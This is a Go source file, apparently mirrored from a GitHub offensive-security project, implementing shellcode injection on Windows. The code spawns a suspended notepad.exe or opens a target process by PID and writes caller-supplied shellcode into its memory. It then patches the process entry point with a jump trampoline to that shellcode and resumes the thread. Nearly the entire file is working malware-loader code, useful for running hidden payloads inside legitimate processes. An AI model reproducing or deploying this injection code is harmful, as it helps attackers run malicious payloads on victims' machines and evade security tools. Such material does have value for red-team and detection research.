mirror of
https://github.com/D3Ext/Hooka
synced 2026-06-08 10:49:57 +00:00
282 lines
8.6 KiB
Go
282 lines
8.6 KiB
Go
package shellcode
|
|
|
|
/*
|
|
|
|
References:
|
|
https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateProcess/main.go
|
|
|
|
*/
|
|
|
|
import (
|
|
"encoding/binary"
|
|
"errors"
|
|
"fmt"
|
|
"golang.org/x/sys/windows"
|
|
"log"
|
|
"syscall"
|
|
"unsafe"
|
|
)
|
|
|
|
func CreateProcess(shellcode []byte, pid int) error {
|
|
|
|
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
|
ntdll := windows.NewLazyDLL("ntdll.dll")
|
|
|
|
OpenProcess := kernel32.NewProc("OpenProcess")
|
|
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
|
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
|
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
|
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
|
|
|
|
var pHandle uintptr
|
|
var pThread uintptr
|
|
|
|
if pid == 0 { // Use default technique (spawn a notepad.exe in suspended state)
|
|
procInfo := &windows.ProcessInformation{}
|
|
startupInfo := &windows.StartupInfo{
|
|
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
|
|
}
|
|
|
|
errCreateProcess := windows.CreateProcess(
|
|
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
|
|
syscall.StringToUTF16Ptr(""),
|
|
nil,
|
|
nil,
|
|
true,
|
|
windows.CREATE_SUSPENDED,
|
|
nil,
|
|
nil,
|
|
startupInfo,
|
|
procInfo,
|
|
)
|
|
if errCreateProcess != nil {
|
|
return errCreateProcess
|
|
}
|
|
|
|
pHandle = uintptr(procInfo.Process)
|
|
pThread = uintptr(procInfo.Thread)
|
|
|
|
} else {
|
|
pHandle, _, _ = OpenProcess.Call(
|
|
windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION,
|
|
uintptr(0),
|
|
uintptr(pid),
|
|
)
|
|
|
|
}
|
|
|
|
addr, _, _ := VirtualAllocEx.Call(
|
|
uintptr(pHandle),
|
|
0,
|
|
uintptr(len(shellcode)),
|
|
windows.MEM_COMMIT|windows.MEM_RESERVE,
|
|
windows.PAGE_READWRITE,
|
|
)
|
|
|
|
if addr == 0 {
|
|
return errors.New("VirtualAllocEx failed and returned 0")
|
|
}
|
|
|
|
// Write shellcode into child process memory
|
|
WriteProcessMemory.Call(
|
|
uintptr(pHandle),
|
|
addr,
|
|
(uintptr)(unsafe.Pointer(&shellcode[0])),
|
|
uintptr(len(shellcode)),
|
|
)
|
|
|
|
oldProtect := windows.PAGE_READWRITE
|
|
VirtualProtectEx.Call(
|
|
uintptr(pHandle),
|
|
addr,
|
|
uintptr(len(shellcode)),
|
|
windows.PAGE_EXECUTE_READ,
|
|
uintptr(unsafe.Pointer(&oldProtect)),
|
|
)
|
|
|
|
var processInformation PROCESS_BASIC_INFORMATION
|
|
var returnLength uintptr
|
|
ntStatus, _, _ := NtQueryInformationProcess.Call(
|
|
uintptr(pHandle),
|
|
0,
|
|
uintptr(unsafe.Pointer(&processInformation)),
|
|
unsafe.Sizeof(processInformation),
|
|
returnLength,
|
|
)
|
|
|
|
if ntStatus != 0 {
|
|
if ntStatus == 3221225476 {
|
|
return errors.New("Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
|
|
}
|
|
fmt.Println(fmt.Sprintf("NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
|
|
return errors.New("Error calling NtQueryInformationProcess")
|
|
}
|
|
|
|
// Read from PEB base address to populate the PEB structure
|
|
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
|
|
|
var peb PEB
|
|
var readBytes int32
|
|
|
|
ReadProcessMemory.Call(
|
|
uintptr(pHandle),
|
|
processInformation.PebBaseAddress,
|
|
uintptr(unsafe.Pointer(&peb)),
|
|
unsafe.Sizeof(peb),
|
|
uintptr(unsafe.Pointer(&readBytes)),
|
|
)
|
|
|
|
// Read the child program's DOS header and validate it is a MZ executable
|
|
type _IMAGE_DOS_HEADER struct {
|
|
Magic uint16 // USHORT Magic number
|
|
Cblp uint16 // USHORT Bytes on last page of file
|
|
Cp uint16 // USHORT Pages in file
|
|
Crlc uint16 // USHORT Relocations
|
|
Cparhdr uint16 // USHORT Size of header in paragraphs
|
|
MinAlloc uint16 // USHORT Minimum extra paragraphs needed
|
|
MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
|
|
SS uint16 // USHORT Initial (relative) SS value
|
|
SP uint16 // USHORT Initial SP value
|
|
CSum uint16 // USHORT Checksum
|
|
IP uint16 // USHORT Initial IP value
|
|
CS uint16 // USHORT Initial (relative) CS value
|
|
LfaRlc uint16 // USHORT File address of relocation table
|
|
Ovno uint16 // USHORT Overlay number
|
|
Res [4]uint16 // USHORT Reserved words
|
|
OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
|
|
OEMInfo uint16 // USHORT OEM information; e_oemid specific
|
|
Res2 [10]uint16 // USHORT Reserved words
|
|
LfaNew int32 // LONG File address of new exe header
|
|
}
|
|
|
|
var dosHeader _IMAGE_DOS_HEADER
|
|
var readBytes2 int32
|
|
|
|
ReadProcessMemory.Call(
|
|
uintptr(pHandle),
|
|
peb.ImageBaseAddress,
|
|
uintptr(unsafe.Pointer(&dosHeader)),
|
|
unsafe.Sizeof(dosHeader),
|
|
uintptr(unsafe.Pointer(&readBytes2)),
|
|
)
|
|
|
|
// 23117 is the LittleEndian unsigned base10 representation of MZ
|
|
// 0x5a4d is the LittleEndian unsigned base16 representation of MZ
|
|
if dosHeader.Magic != 23117 {
|
|
log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
|
|
}
|
|
|
|
// Read the child process's PE header signature to validate it is a PE
|
|
var Signature uint32
|
|
var readBytes3 int32
|
|
|
|
ReadProcessMemory.Call(
|
|
uintptr(pHandle),
|
|
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew),
|
|
uintptr(unsafe.Pointer(&Signature)),
|
|
unsafe.Sizeof(Signature),
|
|
uintptr(unsafe.Pointer(&readBytes3)),
|
|
)
|
|
|
|
// 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
|
|
// 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
|
|
if Signature != 17744 {
|
|
return errors.New("PE Signature string was not PE")
|
|
}
|
|
|
|
var peHeader IMAGE_FILE_HEADER
|
|
var readBytes4 int32
|
|
|
|
ReadProcessMemory.Call(
|
|
uintptr(pHandle),
|
|
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature),
|
|
uintptr(unsafe.Pointer(&peHeader)),
|
|
unsafe.Sizeof(peHeader),
|
|
uintptr(unsafe.Pointer(&readBytes4)),
|
|
)
|
|
|
|
var optHeader64 IMAGE_OPTIONAL_HEADER64
|
|
var optHeader32 IMAGE_OPTIONAL_HEADER32
|
|
var readBytes5 int32
|
|
|
|
if peHeader.Machine == 34404 { // 0x8664
|
|
ReadProcessMemory.Call(
|
|
uintptr(pHandle),
|
|
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
|
|
uintptr(unsafe.Pointer(&optHeader64)),
|
|
unsafe.Sizeof(optHeader64),
|
|
uintptr(unsafe.Pointer(&readBytes5)),
|
|
)
|
|
|
|
} else if peHeader.Machine == 332 { // 0x14c
|
|
ReadProcessMemory.Call(
|
|
uintptr(pHandle),
|
|
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
|
|
uintptr(unsafe.Pointer(&optHeader32)),
|
|
unsafe.Sizeof(optHeader32),
|
|
uintptr(unsafe.Pointer(&readBytes5)),
|
|
)
|
|
|
|
} else {
|
|
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
|
}
|
|
|
|
// Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
|
|
var ep uintptr
|
|
if peHeader.Machine == 34404 { // 0x8664 x64
|
|
ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
|
|
} else if peHeader.Machine == 332 { // 0x14c x86
|
|
ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
|
|
} else {
|
|
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
|
}
|
|
|
|
var epBuffer []byte
|
|
var shellcodeAddressBuffer []byte
|
|
if peHeader.Machine == 34404 { // 0x8664 x64
|
|
epBuffer = append(epBuffer, byte(0x48))
|
|
epBuffer = append(epBuffer, byte(0xb8))
|
|
shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
|
|
binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
|
|
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
|
|
} else if peHeader.Machine == 332 { // 0x14c x86
|
|
epBuffer = append(epBuffer, byte(0xb8))
|
|
shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
|
|
binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
|
|
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
|
|
} else {
|
|
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
|
}
|
|
|
|
// 0xff ; 0xe0 = jmp [r|e]ax
|
|
epBuffer = append(epBuffer, byte(0xff))
|
|
epBuffer = append(epBuffer, byte(0xe0))
|
|
|
|
WriteProcessMemory.Call(
|
|
uintptr(pHandle),
|
|
ep,
|
|
uintptr(unsafe.Pointer(&epBuffer[0])),
|
|
uintptr(len(epBuffer)),
|
|
)
|
|
|
|
// Resume the child process
|
|
_, errResumeThread := windows.ResumeThread(windows.Handle(pThread))
|
|
if errResumeThread != nil {
|
|
return errors.New(fmt.Sprintf("Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
|
|
}
|
|
|
|
// Close the handle to the child process
|
|
errCloseProcHandle := windows.CloseHandle(windows.Handle(pHandle))
|
|
if errCloseProcHandle != nil {
|
|
return errors.New(fmt.Sprintf("Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
|
|
}
|
|
|
|
// Close the hand to the child process thread
|
|
errCloseThreadHandle := windows.CloseHandle(windows.Handle(pThread))
|
|
if errCloseThreadHandle != nil {
|
|
return errors.New(fmt.Sprintf("Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
|
|
}
|
|
|
|
return nil
|
|
}
|